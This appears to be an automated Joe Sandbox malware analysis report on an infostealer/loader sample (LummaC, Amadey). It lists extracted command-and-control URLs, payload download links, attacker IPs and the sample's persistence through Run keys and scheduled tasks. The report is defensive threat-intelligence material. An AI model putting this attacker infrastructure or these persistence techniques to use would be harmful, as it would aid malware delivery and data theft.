http://crl.rootca1.amazontrust.com/rootca1.crl0	EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.autoitscript.com/autoit3/X	SurveillanceWalls.exe, 0000000E.00000002.2860963000.0000000000420000.00000004.00000001.01000000.0000000B.sdmp, Sale.com, 00000018.00000000.2879703042.0000000000855000.00000002.00000001.01000000.0000000D.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206b	9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nsis.sf.net/NSIS_ErrorError	SurveillanceWalls.exe, 0000000E.00000002.2860938966.0000000000409000.00000002.00000001.01000000.0000000B.sdmp, SurveillanceWalls.exe, 0000000E.00000000.2852400591.0000000000409000.00000002.00000001.01000000.0000000B.sdmp	false	high
https://www.ecosia.org/newtab/	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php8	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php;	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://fieldhitty.click/api	17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe?	580c9354ec.exe, 0000001F.00000003.4347342206.0000000001215000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/api-	412ec13ac5.exe, 0000001E.00000003.3207422516.0000000001138000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/api$	412ec13ac5.exe, 0000001E.00000003.3632525311.0000000001139000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3622898084.0000000001139000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3658232025.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	580c9354ec.exe, 0000001F.00000003.4347342206.0000000001215000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.4360295909.00000000059D2000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/pi	412ec13ac5.exe, 0000001E.00000003.3551750660.000000000117D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3592146204.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548292393.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/9	9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com	skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apiH	EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpl	9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpo	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/api/	580c9354ec.exe, 0000001F.00000003.3694965286.0000000001225000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3684252207.0000000001225000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3763354814.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3669275426.0000000001224000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/api	EUCyhuW.exe, 00000009.00000003.2851829493.0000000003787000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093424754.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E72000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852265070.000000000378A000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852327758.0000000003773000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138189518.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913644011.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138169097.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913722505.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2878424864.0000000003791000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093424754.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093948172.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2877959925.0000000003791000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852015292.0000000003773000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2930693716.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852833290.0000000003773000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3694965286.0000000001225000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/a	9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click:443/api	412ec13ac5.exe, 0000001E.00000003.3438661334.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3596871072.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3452315135.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3480531158.000000000390E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe	skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/softokn3.dllg	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/apiIV	412ec13ac5.exe, 0000001E.00000002.3659052898.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://fieldhitty.click/c	17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	580c9354ec.exe, 0000001F.00000003.3627062430.00000000060B2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206c4becf79229cb002.phpion:	9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	false	unknown
http://www.sqlite.org/copyright.html.	9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4066981270.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	high
https://fieldhitty.click/	17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://fieldhitty.click/apii	17ce3a84e4.exe, 0000001B.00000002.4522542200.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4488835946.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/apiDV	412ec13ac5.exe, 0000001E.00000002.3659052898.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://sectigo.com/CPS0	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/90BH	EUCyhuW.exe, 00000009.00000003.2852327758.0000000003784000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852015292.0000000003784000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2888145590.0000000003784000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852833290.0000000003784000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/M	412ec13ac5.exe, 0000001E.00000003.3207422516.0000000001138000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpP5	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe	580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apis	EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.43/Zu7JuNko/index.php8001	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.21.99	unknown	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
52.217.122.113	unknown	United States	16509	AMAZON-02US	false
172.217.17.78	unknown	United States	15169	GOOGLEUS	false
172.67.141.124	unknown	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.132	unknown	United States	15169	GOOGLEUS	false
34.107.221.82	unknown	United States	15169	GOOGLEUS	false
172.67.209.202	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.42.73.29	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.63.229	unknown	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
64.233.162.84	unknown	United States	15169	GOOGLEUS	false
35.190.72.216	unknown	United States	15169	GOOGLEUS	false
142.250.181.78	unknown	United States	15169	GOOGLEUS	false
142.250.181.99	unknown	United States	15169	GOOGLEUS	false
185.166.143.50	unknown	Germany	16509	AMAZON-02US	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579344
Start date and time:	2024-12-21 20:14:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@114/80@0/21
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
14:16:01	API Interceptor	10080265x Sleep call for process: skotes.exe modified
14:16:11	API Interceptor	9x Sleep call for process: EUCyhuW.exe modified
14:16:21	API Interceptor	1x Sleep call for process: SurveillanceWalls.exe modified
14:16:43	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:16:54	API Interceptor	8x Sleep call for process: 412ec13ac5.exe modified
14:17:01	API Interceptor	20x Sleep call for process: Sale.com modified
14:17:02	API Interceptor	362472x Sleep call for process: 580c9354ec.exe modified
14:17:21	API Interceptor	73176x Sleep call for process: 9f6ea82062.exe modified
14:19:03	API Interceptor	2x Sleep call for process: 17ce3a84e4.exe modified
20:15:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:16:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 580c9354ec.exe C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe
20:17:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9f6ea82062.exe C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
20:17:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 51ecf08926.exe C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe
20:17:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 580c9354ec.exe C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe
20:17:41	Task Scheduler	Run new task: Gxtuum path: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
20:17:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9f6ea82062.exe C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
20:17:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 51ecf08926.exe C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe
20:17:58	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
20:17:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5936bfa4af.exe C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe
20:18:01	Task Scheduler	Run new task: MyBootTask path: C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe
20:18:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5936bfa4af.exe C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe
20:18:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Graph C:\Program Files\Windows Media Player\graph\graph.exe
20:18:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Graph C:\Program Files\Windows Media Player\graph\graph.exe
20:19:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1ba4718074.exe C:\Users\user\AppData\Local\Temp\1019613001\1ba4718074.exe
20:19:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 408fbd4e57.exe C:\Users\user\AppData\Local\Temp\1019614001\408fbd4e57.exe
20:19:38	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
20:19:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9e7a844ab2.exe C:\Users\user\AppData\Local\Temp\1019615001\9e7a844ab2.exe
20:19:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dfe1c8ec1f.exe C:\Users\user\AppData\Local\Temp\1019616001\dfe1c8ec1f.exe
20:20:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1ba4718074.exe C:\Users\user\AppData\Local\Temp\1019613001\1ba4718074.exe
20:20:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 408fbd4e57.exe C:\Users\user\AppData\Local\Temp\1019614001\408fbd4e57.exe
20:20:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9e7a844ab2.exe C:\Users\user\AppData\Local\Temp\1019615001\9e7a844ab2.exe
20:20:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dfe1c8ec1f.exe C:\Users\user\AppData\Local\Temp\1019616001\dfe1c8ec1f.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
